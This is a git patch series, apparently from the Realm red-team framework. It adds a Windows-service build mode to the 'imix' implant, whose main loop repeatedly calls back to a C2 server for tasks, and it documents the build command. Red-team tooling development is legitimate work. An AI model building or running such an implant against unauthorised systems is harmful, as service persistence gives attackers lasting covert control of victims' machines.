From 04594612eeeeff89f491a534f714c3bd58e8366c Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 16:48:35 -0800
Subject: [PATCH 1/9] import win service

---
 implants/Cargo.toml      | 2 ++
 implants/imix/Cargo.toml | 3 +++
 2 files changed, 5 insertions(+)

diff --git a/implants/Cargo.toml b/implants/Cargo.toml
index 9fd992446..d6cda753d 100644
--- a/implants/Cargo.toml
+++ b/implants/Cargo.toml
@@ -74,9 +74,11 @@ trait-variant = "0.1.1"
 uuid = "1.5.0"
 which = "4.4.2"
 whoami = "1.3.0"
+windows-service = "0.6.0"
 windows-sys = "0.45.0"
 winreg = "0.51.0"
 
+
 [profile.release]
 strip = true      # Automatically strip symbols from the binary.
 opt-level = "z"   # Optimize for size.
diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml
index d74febc20..c65b4050c 100644
--- a/implants/imix/Cargo.toml
+++ b/implants/imix/Cargo.toml
@@ -27,6 +27,9 @@ tokio = { workspace = true, features = ["full"] }
 uuid = { workspace = true, features = ["v4","fast-rng"] }
 whoami = { workspace = true }
 
+[target.'cfg(target_os = "linux")'.dependencies]
+windows-service = "0.6.0"
+
 [dev-dependencies]
 httptest = { workspace = true }
 tempfile = { workspace = true }

From b8b606c7f29aaf7132c3f4d2e3e3cb994c130c03 Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:33:22 -0800
Subject: [PATCH 2/9] This works

---
 implants/imix/Cargo.toml         |  8 +++-
 implants/imix/src/lib.rs         | 52 +++++++++++++++++++++++
 implants/imix/src/main.rs        | 73 +++++++++++++-------------------
 implants/imix/src/win_service.rs | 39 +++++++++++++++++
 4 files changed, 128 insertions(+), 44 deletions(-)
 create mode 100644 implants/imix/src/win_service.rs

diff --git a/implants/imix/Cargo.toml b/implants/imix/Cargo.toml
index c65b4050c..c45f37e2b 100644
--- a/implants/imix/Cargo.toml
+++ b/implants/imix/Cargo.toml
@@ -3,12 +3,18 @@ name = "imix"
 version = "0.0.5"
 edition = "2021"
 
+[features]
+# Check if compiled by imix
+win_service = []
+default = []
+
 [dependencies]
 eldritch = { workspace = true, features = ["imix"] }
 pb = {workspace = true }
 transport = { workspace = true }
 
 anyhow = { workspace = true }
+env_logger = "0.11.2"
 chrono = { workspace = true , features = ["serde"] }
 clap = { workspace = true }
 default-net = { workspace = true }
@@ -27,7 +33,7 @@ tokio = { workspace = true, features = ["full"] }
 uuid = { workspace = true, features = ["v4","fast-rng"] }
 whoami = { workspace = true }
 
-[target.'cfg(target_os = "linux")'.dependencies]
+[target.'cfg(target_os = "windows")'.dependencies]
 windows-service = "0.6.0"
 
 [dev-dependencies]
diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs
index 3d99fb08c..e10f7fdff 100644
--- a/implants/imix/src/lib.rs
+++ b/implants/imix/src/lib.rs
@@ -3,7 +3,59 @@ mod config;
 mod install;
 mod task;
 mod version;
+pub mod win_service;
+
+use std::time::Duration;
 
 pub use agent::Agent;
+use clap::Command;
 pub use config::Config;
 pub use install::install;
+use windows_service::service_dispatcher;
+use anyhow::Result;
+
+
+pub async fn handle_main(){
+    #[cfg(debug_assertions)]
+    init_logging();
+
+    if let Some(("install", _)) = Command::new("imix")
+        .subcommand(Command::new("install").about("Install imix"))
+        .get_matches()
+        .subcommand()
+    {
+        install().await;
+        return;
+    }
+
+    loop {
+        let cfg = Config::default();
+        let retry_interval = cfg.retry_interval;
+        #[cfg(debug_assertions)]
+        log::info!("agent config initialized {:#?}", cfg.clone());
+
+        match run(cfg).await {
+            Ok(_) => {}
+            Err(_err) => {
+                #[cfg(debug_assertions)]
+                log::error!("callback loop fatal: {_err}");
+
+                tokio::time::sleep(Duration::from_secs(retry_interval)).await;
+            }
+        }
+    }
+}
+
+async fn run(cfg: Config) -> anyhow::Result<()> {
+    let mut agent = Agent::new(cfg)?;
+    agent.callback_loop().await?;
+    Ok(())
+}
+
+#[cfg(debug_assertions)]
+fn init_logging() {
+    pretty_env_logger::formatted_timed_builder()
+        .filter_level(log::LevelFilter::Info)
+        .parse_env("IMIX_LOG")
+        .init();
+}
diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs
index e530f864c..1a287bede 100644
--- a/implants/imix/src/main.rs
+++ b/implants/imix/src/main.rs
@@ -1,52 +1,39 @@
-#![windows_subsystem = "windows"]
+// #![windows_subsystem = "windows"]
+#[cfg(all(feature = "win_service", windows))]
+#[macro_use]
+extern crate windows_service;
 
-use anyhow::Result;
-use clap::Command;
-use imix::{Agent, Config};
-use std::time::Duration;
+use imix::{handle_main,win_service::handle_service_main};
+
+#[cfg(feature = "win_service")]
+use windows_service::service_dispatcher;
+
+#[cfg(all(feature = "win_service", not(target_os = "windows")))]
+compile_error!("Feature win_service is only available on windows targets");
+
+#[cfg(feature = "win_service")]
+define_windows_service!(ffi_service_main, service_main);
 
 #[tokio::main(flavor = "multi_thread", worker_threads = 128)]
 async fn main() {
-    #[cfg(debug_assertions)]
-    init_logging();
-
-    if let Some(("install", _)) = Command::new("imix")
-        .subcommand(Command::new("install").about("Install imix"))
-        .get_matches()
-        .subcommand()
-    {
-        imix::install().await;
-        return;
-    }
+    #[cfg(feature = "win_service")]
+    service_dispatcher::start("svc-debug", ffi_service_main).unwrap();
+    handle_main().await
+}
 
-    loop {
-        let cfg = Config::default();
-        let retry_interval = cfg.retry_interval;
-        #[cfg(debug_assertions)]
-        log::info!("agent config initialized {:#?}", cfg.clone());
-
-        match run(cfg).await {
-            Ok(_) => {}
-            Err(_err) => {
-                #[cfg(debug_assertions)]
-                log::error!("callback loop fatal: {_err}");
-
-                tokio::time::sleep(Duration::from_secs(retry_interval)).await;
-            }
-        }
+#[cfg(feature = "win_service")]
+#[tokio::main(flavor = "multi_thread", worker_threads = 128)]
+async fn service_main(arguments: Vec<std::ffi::OsString>) {
+    imix::win_service::handle_service_main(arguments);
+
+    match service_dispatcher::start("imix", ffi_service_main) {
+        Ok(_) => {},
+        Err(_err) => {
+            #[cfg(debug_assertions)]
+            log::info!("Failed to start service {}", _err);    
+        },
     }
-}
 
-async fn run(cfg: Config) -> Result<()> {
-    let mut agent = Agent::new(cfg)?;
-    agent.callback_loop().await?;
-    Ok(())
+    handle_main().await;
 }
 
-#[cfg(debug_assertions)]
-fn init_logging() {
-    pretty_env_logger::formatted_timed_builder()
-        .filter_level(log::LevelFilter::Info)
-        .parse_env("IMIX_LOG")
-        .init();
-}
diff --git a/implants/imix/src/win_service.rs b/implants/imix/src/win_service.rs
new file mode 100644
index 000000000..13054264a
--- /dev/null
+++ b/implants/imix/src/win_service.rs
@@ -0,0 +1,39 @@
+use std::{ffi::OsString, fs::File, io::Write, thread, time::{self, Duration}};
+use windows_service::{service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType}, service_control_handler::{self, ServiceControlHandlerResult}, service_dispatcher};
+
+
+pub fn handle_service_main(arguments: Vec<OsString>) {
+    let event_handler = move |control_event| -> ServiceControlHandlerResult {
+        match control_event {
+            ServiceControl::Stop => {
+                // Handle stop event and return control back to the system.
+                ServiceControlHandlerResult::NoError
+            }
+            // All services must accept Interrogate even if it's a no-op.
+            ServiceControl::Interrogate => ServiceControlHandlerResult::NoError,
+            _ => ServiceControlHandlerResult::NotImplemented,
+        }
+    };
+
+    // Register system service event handler
+    let status_handle = service_control_handler::register("myservice", event_handler).unwrap();
+
+    let next_status = ServiceStatus {
+        // Should match the one from system service registry
+        service_type: ServiceType::OWN_PROCESS,
+        // The new state
+        current_state: ServiceState::Running,
+        // Accept stop events when running
+        controls_accepted: ServiceControlAccept::STOP,
+        // Used to report an error when starting or stopping only, otherwise must be zero
+        exit_code: ServiceExitCode::Win32(0),
+        // Only used for pending states, otherwise must be zero
+        checkpoint: 0,
+        // Only used for pending states, otherwise must be zero
+        wait_hint: Duration::default(),
+        process_id: Some(18882),
+    };
+
+    // Tell the system that the service is running now
+    status_handle.set_service_status(next_status).unwrap();
+}

From e18abefb42c41c4511f02132ff941aff2493f386 Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:36:04 -0800
Subject: [PATCH 3/9] That's not required.

---
 implants/imix/src/main.rs | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs
index 1a287bede..b5b7f2c3b 100644
--- a/implants/imix/src/main.rs
+++ b/implants/imix/src/main.rs
@@ -17,7 +17,7 @@ define_windows_service!(ffi_service_main, service_main);
 #[tokio::main(flavor = "multi_thread", worker_threads = 128)]
 async fn main() {
     #[cfg(feature = "win_service")]
-    service_dispatcher::start("svc-debug", ffi_service_main).unwrap();
+    service_dispatcher::start("imix", ffi_service_main).unwrap();
     handle_main().await
 }
 
@@ -26,14 +26,6 @@ async fn main() {
 async fn service_main(arguments: Vec<std::ffi::OsString>) {
     imix::win_service::handle_service_main(arguments);
 
-    match service_dispatcher::start("imix", ffi_service_main) {
-        Ok(_) => {},
-        Err(_err) => {
-            #[cfg(debug_assertions)]
-            log::info!("Failed to start service {}", _err);    
-        },
-    }
-
     handle_main().await;
 }
 

From 2cbebd15b3e0789cde028fd1965f24e4663f40ea Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:41:09 -0800
Subject: [PATCH 4/9] Lil cleanup

---
 implants/imix/src/main.rs | 27 +++++++++++++++++++--------
 1 file changed, 19 insertions(+), 8 deletions(-)

diff --git a/implants/imix/src/main.rs b/implants/imix/src/main.rs
index b5b7f2c3b..c8827a78e 100644
--- a/implants/imix/src/main.rs
+++ b/implants/imix/src/main.rs
@@ -3,10 +3,20 @@
 #[macro_use]
 extern crate windows_service;
 
-use imix::{handle_main,win_service::handle_service_main};
+use imix::handle_main;
 
-#[cfg(feature = "win_service")]
-use windows_service::service_dispatcher;
+
+// ============= Standard ===============
+
+#[cfg(not(feature = "win_service"))]
+#[tokio::main(flavor = "multi_thread", worker_threads = 128)]
+async fn main() {
+
+    handle_main().await
+}
+
+
+// ============ Windows Service =============
 
 #[cfg(all(feature = "win_service", not(target_os = "windows")))]
 compile_error!("Feature win_service is only available on windows targets");
@@ -14,17 +24,18 @@ compile_error!("Feature win_service is only available on windows targets");
 #[cfg(feature = "win_service")]
 define_windows_service!(ffi_service_main, service_main);
 
-#[tokio::main(flavor = "multi_thread", worker_threads = 128)]
-async fn main() {
-    #[cfg(feature = "win_service")]
+#[cfg(feature = "win_service")]
+fn main() {
+    use windows_service::service_dispatcher;
     service_dispatcher::start("imix", ffi_service_main).unwrap();
-    handle_main().await
 }
 
 #[cfg(feature = "win_service")]
 #[tokio::main(flavor = "multi_thread", worker_threads = 128)]
 async fn service_main(arguments: Vec<std::ffi::OsString>) {
-    imix::win_service::handle_service_main(arguments);
+    use imix::win_service::handle_service_main;
+
+    handle_service_main(arguments);
 
     handle_main().await;
 }

From 83e8ebd3d4c42b4858131e22d6eb221283a5b59d Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:46:33 -0800
Subject: [PATCH 5/9] Small cleanup

---
 implants/imix/src/lib.rs         |  2 --
 implants/imix/src/win_service.rs | 13 +++++++++----
 2 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs
index e10f7fdff..e4ea2b757 100644
--- a/implants/imix/src/lib.rs
+++ b/implants/imix/src/lib.rs
@@ -11,8 +11,6 @@ pub use agent::Agent;
 use clap::Command;
 pub use config::Config;
 pub use install::install;
-use windows_service::service_dispatcher;
-use anyhow::Result;
 
 
 pub async fn handle_main(){
diff --git a/implants/imix/src/win_service.rs b/implants/imix/src/win_service.rs
index 13054264a..33668b839 100644
--- a/implants/imix/src/win_service.rs
+++ b/implants/imix/src/win_service.rs
@@ -1,8 +1,13 @@
-use std::{ffi::OsString, fs::File, io::Write, thread, time::{self, Duration}};
-use windows_service::{service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType}, service_control_handler::{self, ServiceControlHandlerResult}, service_dispatcher};
+use std::{ffi::OsString, time::Duration};
+use windows_service::{
+    service::{
+        ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
+        ServiceType,
+    },
+    service_control_handler::{self, ServiceControlHandlerResult},
+};
 
-
-pub fn handle_service_main(arguments: Vec<OsString>) {
+pub fn handle_service_main(_arguments: Vec<OsString>) {
     let event_handler = move |control_event| -> ServiceControlHandlerResult {
         match control_event {
             ServiceControl::Stop => {

From 0c61cf3d1875573089e424b73f90eaaabb150240 Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:48:40 -0800
Subject: [PATCH 6/9] Cleanup

---
 implants/imix/src/win_service.rs | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/implants/imix/src/win_service.rs b/implants/imix/src/win_service.rs
index 33668b839..d9673120c 100644
--- a/implants/imix/src/win_service.rs
+++ b/implants/imix/src/win_service.rs
@@ -36,7 +36,8 @@ pub fn handle_service_main(_arguments: Vec<OsString>) {
         checkpoint: 0,
         // Only used for pending states, otherwise must be zero
         wait_hint: Duration::default(),
-        process_id: Some(18882),
+        // Process ID of the service This is only retrieved when querying the service status
+        process_id: None,
     };
 
     // Tell the system that the service is running now

From 40a45328d59e7deaec7d2740366ef0a4644e4dcf Mon Sep 17 00:00:00 2001
From: hulto <7121375+hulto@users.noreply.github.com>
Date: Fri, 16 Feb 2024 20:52:17 -0800
Subject: [PATCH 7/9] Docs.

---
 docs/_docs/user-guide/imix.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docs/_docs/user-guide/imix.md b/docs/_docs/user-guide/imix.md
index 764368c62..678321753 100644
--- a/docs/_docs/user-guide/imix.md
+++ b/docs/_docs/user-guide/imix.md
@@ -83,6 +83,8 @@ RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --lib --target=x
 cd realm/implants/imix/
 # Build imix.exe
 RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target=x86_64-pc-windows-gnu
+# Build imix.svc.exe
+RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --features win_service --target=x86_64-pc-windows-gnu
 # Build imix.dll
 RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --lib --target=x86_64-pc-windows-gnu
 ```

From 38f239874c69a7aa64a41b278e41be70e0c27544 Mon Sep 17 00:00:00 2001
From: Hulto <7121375+hulto@users.noreply.github.com>
Date: Sat, 17 Feb 2024 05:14:36 +0000
Subject: [PATCH 8/9] Some more cleanup.

---
 implants/imix/src/install.rs       | 2 +-
 implants/imix/src/lib.rs           | 1 +
 implants/lib/transport/src/grpc.rs | 1 -
 3 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs
index 7cf0801ad..c11cc97d3 100644
--- a/implants/imix/src/install.rs
+++ b/implants/imix/src/install.rs
@@ -1,7 +1,7 @@
 use anyhow::{anyhow, Result};
 use eldritch::runtime::Message;
 use pb::eldritch::Tome;
-use std::{collections::HashMap, fmt::Write};
+use std::collections::HashMap;
 
 pub async fn install() {
     #[cfg(debug_assertions)]
diff --git a/implants/imix/src/lib.rs b/implants/imix/src/lib.rs
index e4ea2b757..af2abdb27 100644
--- a/implants/imix/src/lib.rs
+++ b/implants/imix/src/lib.rs
@@ -3,6 +3,7 @@ mod config;
 mod install;
 mod task;
 mod version;
+#[cfg(feature = "win_service")]
 pub mod win_service;
 
 use std::time::Duration;
diff --git a/implants/lib/transport/src/grpc.rs b/implants/lib/transport/src/grpc.rs
index 0ac68a7f8..975f9d1af 100644
--- a/implants/lib/transport/src/grpc.rs
+++ b/implants/lib/transport/src/grpc.rs
@@ -6,7 +6,6 @@ use tonic::codec::ProstCodec;
 use tonic::GrpcMethod;
 use tonic::Request;
 
-#[cfg(debug_assertions)]
 use std::time::Duration;
 
 static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks";

From 5439c4a13dfb94e617b3f29eaf403c63b4f08685 Mon Sep 17 00:00:00 2001
From: Hulto <7121375+hulto@users.noreply.github.com>
Date: Sat, 17 Feb 2024 05:20:34 +0000
Subject: [PATCH 9/9] Put write bak.

---
 implants/imix/src/install.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs
index c11cc97d3..7cf0801ad 100644
--- a/implants/imix/src/install.rs
+++ b/implants/imix/src/install.rs
@@ -1,7 +1,7 @@
 use anyhow::{anyhow, Result};
 use eldritch::runtime::Message;
 use pb::eldritch::Tome;
-use std::collections::HashMap;
+use std::{collections::HashMap, fmt::Write};
 
 pub async fn install() {
     #[cfg(debug_assertions)]